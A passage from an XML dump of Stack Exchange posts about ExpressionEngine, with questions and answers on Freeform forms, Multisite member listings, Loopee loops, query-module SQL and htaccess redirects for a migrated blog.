noreferrer&quot;&gt;Mo'Variables&lt;/a&gt;, retrieve the token (it's a POST variable) and pass it in &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; to check for previous Freeform entries containing the same token code. Display the form if there are no previous Freeform entries, or display a message if a previous token is found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries search:token=&quot;{post:token}&quot;}&#xA;    {if freeform:no_results}&#xA;        {exp:freeform:form /* your other parameters */}&#xA;            // Your form...&#xA;        {/exp:freeform:form}&#xA;    {/if}&#xA;&#xA;    {if freeform:count == 1}&#xA;        &amp;lt;p&amp;gt;You already submitted the form.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The above uses &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mo'Variables&lt;/a&gt;, but you could do this with PHP instead as well. Turn on PHP in EE (&lt;em&gt;Input&lt;/em&gt; mode), and use &lt;code&gt;&amp;lt;?php echo ee()-&amp;gt;input-&amp;gt;post('token', TRUE); ?&amp;gt;&lt;/code&gt; instead of the above &lt;code&gt;{post:token}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-08-07T05:14:37.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24962" PostTypeId="2" ParentId="24927" CreationDate="2014-08-07T05:46:32.720" Score="0" Body="&lt;p&gt;I recommend reading the comments to the opening post for more details about the question. There are no &quot;&lt;em&gt;Channels&lt;/em&gt;&quot; in this setup, only Freeform forms (forms were simply described as similar to &quot;channels&quot; in the opening post).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are currently 2 Freeform forms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Theatres&lt;/strong&gt;: Contains &lt;em&gt;theatre&lt;/em&gt; information&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Admin&lt;/strong&gt;: Contains other &lt;em&gt;theatre&lt;/em&gt; and &lt;em&gt;movie&lt;/em&gt; information&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;The Goal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A 3rd form is needed, called &lt;strong&gt;Booking&lt;/strong&gt;, which contains data from the first 2 forms.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A Suggested Solution&lt;sup&gt;*&lt;/sup&gt;&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; As with most things EE, more than one solution is possible. This is only one possible strategy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can build this using &lt;code&gt;{exp:freeform:form}&lt;/code&gt; and &lt;code&gt;{exp:freeform:entries}&lt;/code&gt;. Let's say you have 3 fields in the &lt;strong&gt;Booking&lt;/strong&gt; form set up to store data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;movie&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;theatre&lt;/code&gt;: the field will be populated with entries from the &lt;strong&gt;Theatres&lt;/strong&gt; form for the currently logged in user&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;no_of_prints&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could build the form this way (&lt;strong&gt;this is just an example&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;booking&quot; /* your other parameters here */}&#xA;&#xA;    {!-- The movie --}&#xA;    {exp:freeform:entries form_name=&quot;admin&quot; search:movie_name=&quot;Snowpiercer&quot;}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;movie&quot; value=&quot;{freeform:field:movie}&quot; /&amp;gt;&#xA;    {/exp:freeform:entries}&#xA;&#xA;    {!-- The theatre --}&#xA;    &amp;lt;select name=&quot;theatre&quot;&amp;gt;&#xA;        &amp;lt;option&amp;gt;-- Select a theatre --&amp;lt;/option&amp;gt;&#xA;        {exp:freeform:entries form_name=&quot;theatres&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;        &amp;lt;option value=&quot;{freeform:field:theatre_name}&quot;&amp;gt;{freeform:field:theatre_name}&amp;lt;/option&amp;gt;&#xA;        {/exp:freeform:entries}&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    {!-- The Number of Prints/Screens --}&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;no_of_prints&quot; placeholder=&quot;Eg. 50&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; /&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have custom fields with the same name across Freeform forms, you might run into issues where tags such as &lt;code&gt;{freeform:field:movie}&lt;/code&gt; get parsed as a &lt;em&gt;field&lt;/em&gt;, since it's within &lt;code&gt;{exp:freeform:form}&lt;/code&gt;, when you really wanted a &lt;em&gt;value&lt;/em&gt;, since it's also within &lt;code&gt;{exp:freeform:entries}&lt;/code&gt;. In that case, use embed templates to isolate the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag code. &lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-08-07T07:36:44.073" LastActivityDate="2014-08-07T07:36:44.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24963" PostTypeId="2" ParentId="24922" CreationDate="2014-08-07T07:22:01.640" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/change-log#v2.1.3&quot; rel=&quot;nofollow&quot;&gt;CE Image 2.1.3&lt;/a&gt; was released in June of 2011. There have been numerous updates and releases since that time. Upgrading to the latest version will allow the in-depth debug information to show.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-08-07T07:22:01.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24964" PostTypeId="1" CreationDate="2014-08-07T08:12:10.237" Score="1" ViewCount="57" Body="&lt;p&gt;I  am using multisite (MSM) and i want to show user listing for different site for admin. How can admin see the users list according to site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg: - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having 5 sites (named as Site-A, Site-B, Site-C, site-D and Site-E) &#xA;and  i have created new member group for each site from admin CMS (Members-&gt;Member Groups-&gt;Create a Member Group) as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group Name for Site-A is user-A and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group Name for Site-B is user-B and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group Name for Site-C is user-C and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group Name for Site-D is user-D and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group Name for Site-E is user-E. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have implemented login/registration functionality for each site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Users can register  from the above sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in admin CMS, It is showing all users for all site on a page (Members-&gt;View Members).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here how can i know the user comes from which site ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give me a solution.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastEditorUserId="159" LastEditDate="2014-08-11T19:32:53.797" LastActivityDate="2016-06-16T03:13:45.577" Title="Mulltisite Manager - How to find out which site users come from" Tags="|members|member-details|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24965" PostTypeId="2" ParentId="24964" CreationDate="2014-08-07T09:02:54.230" Score="0" Body="&lt;p&gt;If you have created separate member groups for each site then can you not simply use the filter dropdowns to show each group and see which members are in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iL8h7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using different registration forms for each site then you could create a hidden field containing the site name and have that info stored in a custom profile field. Then it won't matter if the user activates the account or not.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-08-07T09:11:48.020" LastActivityDate="2014-08-07T09:11:48.020" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24966" PostTypeId="2" ParentId="24945" CreationDate="2014-08-07T09:08:50.193" Score="0" Body="&lt;p&gt;You could try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form:data-parsley-validate=&quot;true&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But from memory there is a bit notice on the Parsley docs that says NOT to add the data-parsley-validate attribute manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should create some javascript/jQuery to attach the validation behaviour to your form. Maybe give the Freeform tag an id or class attribute and then get your jQuery to target that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form:class=&quot;validate-me&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then some jQuery (at the bottom of the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.validate-me').parsley();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then provide data attributes on each form input (if you're manually coding the form) or you can set up validation options within the jQuery.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-07T09:08:50.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24967" PostTypeId="2" ParentId="24846" CreationDate="2014-08-07T10:13:26.323" Score="0" Body="&lt;p&gt;Found out that this is a known bug. Patch and details: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20237&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20237&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="1149" LastEditDate="2014-08-07T23:37:39.620" LastActivityDate="2014-08-07T23:37:39.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24968" PostTypeId="1" CreationDate="2014-08-07T15:50:30.613" Score="0" ViewCount="73" Body="&lt;p&gt;I downloaded the latest EE core 2.9.0 and pushed the files up to my server. When I go to the admin.php page I just get a blank white page, no installation wizard, nothing. I went through an official EE guide and set the various file permissions that it said to do, still no dice.&lt;/p&gt;&#xA;" OwnerUserId="3455" LastActivityDate="2014-08-07T15:50:30.613" Title="Unable to install EE Core - Installation Wizard does not even show up" Tags="|install|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24970" PostTypeId="1" CreationDate="2014-08-07T16:21:34.120" Score="0" ViewCount="62" Body="&lt;p&gt;I decided to undertake cleaning up some crazy repetitive code using the &lt;a href=&quot;https://github.com/danott/ee-loopee&quot; rel=&quot;nofollow&quot;&gt;plugin Loopee&lt;/a&gt;, which we are already using. I briefly looked at Loop Plus, but that seems to only handle numbers, so I didn’t try testing nesting that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I tried nesting Loopee tags, and the order the tags are looped is from the inside, opposite of how it would work if these were PHP loops. &lt;strong&gt;I’d like to know if anyone has experience nesting Loopee tags, why this works like this, and how I might resolve this issue.&lt;/strong&gt; I’m not averse to patching the plugin if I can get some guidance on what I’d need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:loopee parse=&quot;inward&quot; foreach=&quot;A|B&quot; as=&quot;a&quot;}&#xA;  {exp:loopee parse=&quot;inward&quot; foreach=&quot;1|2&quot; as=&quot;b&quot;}&#xA;    {exp:loopee parse=&quot;inward&quot; foreach=&quot;a|b&quot; as=&quot;c&quot;}&#xA;      {a}{b}{c}&#xA;    {/exp:loopee}&#xA;  {/exp:loopee}&#xA;{/exp:loopee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output: &lt;code&gt;A1a B1a A2a B2a A1b B1b A2b B2b&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the outer Loopee tag’s &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt; are alternating, while the innermost Loopee tag’s &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; are not alternating. To solve this simple example, I could swap the innermost and outermost Loopee tags, but that is both wonky and breaks code if I make use of the variables between the first Loopee start tag and the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this is what I might like to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:loopee parse=&quot;inward&quot; foreach=&quot;amy|betty&quot; as=&quot;name&quot;}&#xA;  &amp;lt;h1&amp;gt;{name}&amp;lt;/h1&amp;gt;&#xA;  {exp:loopee parse=&quot;inward&quot; foreach=&quot;income|expenses&quot; as=&quot;category&quot;}&#xA;    &amp;lt;h2&amp;gt;{category}&amp;lt;/h2&amp;gt;&#xA;    {exp:loopee parse=&quot;inward&quot; foreach=&quot;1|2|3|4&quot; as=&quot;quarter&quot;}&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;strong&amp;gt;{quarter}:&amp;lt;/strong&amp;gt; {custom_field_here}&#xA;      &amp;lt;/p&amp;gt;&#xA;    {/exp:loopee}&#xA;  {/exp:loopee}&#xA;{/exp:loopee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I run that, I get the messed up looking output of (blank lines removed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;amy&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When what I want is output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;amy&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;betty&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;income&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;h2&amp;gt;expenses&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;1:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;2:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;4:&amp;lt;/strong&amp;gt; {custom_field_here}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time!&lt;/p&gt;&#xA;" OwnerUserId="1335" LastEditorUserId="343" LastEditDate="2014-08-07T20:06:50.023" LastActivityDate="2016-05-28T12:09:11.787" Title="Understanding nested Loopee tag output" Tags="|plugin|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24971" PostTypeId="2" ParentId="24932" CreationDate="2014-08-07T16:23:25.587" Score="0" Body="&lt;p&gt;The Store search tag is basically a wrapper for the channel entries tag pair with the ability to search Store specific functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would want to do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search:price:min=&quot;{post:min_price}&quot; search:price:max=&quot;{post:max_price}&quot;}&#xA;&#xA;{!-- this will show if their are entries --}&#xA; {title} - {price} - {your_custom_fields} &#xA;&#xA; {if no_results}&#xA;  There are no items for this search.&#xA; {/if}&#xA;&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So any tags you would use in the channels entries tag pair should be available in your search tag pair.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-07T16:23:25.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24972" PostTypeId="2" ParentId="24954" CreationDate="2014-08-07T16:56:26.287" Score="1" Body="&lt;p&gt;I ended up using the SQL REPLACE functionality:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query limit=&quot;1&quot; sql=&quot;&#xA;SELECT ct.author_id, ct.entry_id, ct.channel_id,&#xA;REPLACE (cd.field_id_37, '\{filedir_1\}', '') AS myfile&#xA;FROM exp_channel_titles ct&#xA;INNER JOIN&#xA;exp_channel_data cd&#xA;USING(entry_id)&#xA;WHERE author_id = '{embed:lid}' AND ct.channel_id = '6' &#xA;&quot;}&#xA;&#xA;{if myfile == &quot;&quot;}&#xA;    {site_url}/pic/nofile.gif&#xA;{if:else}&#xA;    {site_url}/picture/_thumb/{myfile}&#xA;{/if}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for future reference and for those interested. If you only want the full filename, without a path and you're using the query module... Use the REPLACE functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a better way to solve this, i'd love to hear it. I'll be keeping an eye out for other solutions.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2014-08-07T16:56:26.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24973" PostTypeId="1" AcceptedAnswerId="25149" CreationDate="2014-08-07T17:06:27.487" Score="0" ViewCount="13" Body="&lt;p&gt;Does anyone know if it is possible to paginate the customer orders and downloads listings on the customer facing orders and downloads pages in BrilliantRetail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can limit the number of results returned using &lt;code&gt;limit=“n”&lt;/code&gt;, but can you paginate the results like a standard channel entries tag to allow customers to browse through their entire order and download history?&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-10-16T17:41:36.327" Title="BrilliantRetail: Is pagination of Customer Orders &amp; Downloads possible?" Tags="|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24975" PostTypeId="1" AcceptedAnswerId="24986" CreationDate="2014-08-08T00:38:49.407" Score="1" ViewCount="99" Body="&lt;p&gt;So I've recently moved a blog from Wordpress to ExpressionEngine. Everything transferred over great (thanks to DataGrab!!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the one problem I'm having is in my attempt to redirect traffic from the old blog to the new one. I've implemented an HTACCESS like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ http://www.new_ee_site.com/blog/view/$4 [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To redirect the old blog posts to their new counterparts on the EE install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the problem&lt;/strong&gt;: This works for post with short titles just fine, the problem is some post titles are greater than 75 characters (the default EE url_title limit). So the post with titles name greater than 75 aren't translating over (since, when importing, the blog titles for the EE blog got trimmed to 75 characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to somehow truncate incoming URLs, if they match the format /blog/view/..blog-title.., to truncate / trim the blog-title portion to 75 characters so these links go to the right place?&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-08-08T15:28:58.123" Title="Howto trim incoming URL's" Tags="|htaccess|core-hacks|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24977" PostTypeId="2" ParentId="24975" CreationDate="2014-08-08T08:32:31.277" Score="1" Body="&lt;p&gt;Thinking on my feet here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I don't think you can do this via htaccess so&lt;/strike&gt; what I would do is ensure that these urls end up at a special template (you might do it on a 404 page but I'm not sure of the SEO implications there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on that special template I would look for the presence of 'blog' in segment_1 then grab segment_3, truncate it (with PHP or a plugin) and then feed the result into either a redirect or directly into a channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also respond with a 301 http code so the referring URL can make any changes needed (Google etc will like this!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used this technique with 404 pages before when moving a site from one platform to another or after a big change in url structure and it's been quite successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feels really clumsy and there may well be a more elegant way to do it. Like I said, thinking on my feet over morning coffee!&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-08-08T09:00:25.137" LastActivityDate="2014-08-08T09:00:25.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24978" PostTypeId="2" ParentId="24975" CreationDate="2014-08-08T08:41:28.670" Score="2" Body="&lt;p&gt;Using the info from the link provided by AllinOne&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/1649435/regular-expression-to-limit-number-of-characters-to-10&quot;&gt;https://stackoverflow.com/questions/1649435/regular-expression-to-limit-number-of-characters-to-10&lt;/a&gt; you should be able to solve this. The information is relevant to your problem as it lets you match a number of characters in a given string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^([0-9]+)/([0-9]+)/([0-9]+)/(.*){1,75}$ http://www.new_ee_site.com/blog/view/$4 [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you will need to change the (.*) to something like ([a-z][A-Z][0-9]){1,75} but effectively you are saying grab the first 75 characters of the last segment of the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a quick play around and this might be better. It depends on what characters are in your WP URLs. This one should match upper and lower case characters, hyphens, and underscores. It also assumes that the first 3 segments of your URLs are digits (are they dates?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;^(\d{1,4}/){3}([a-z]|[A-Z]|[0-9]|-|_){1,75}&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this regex 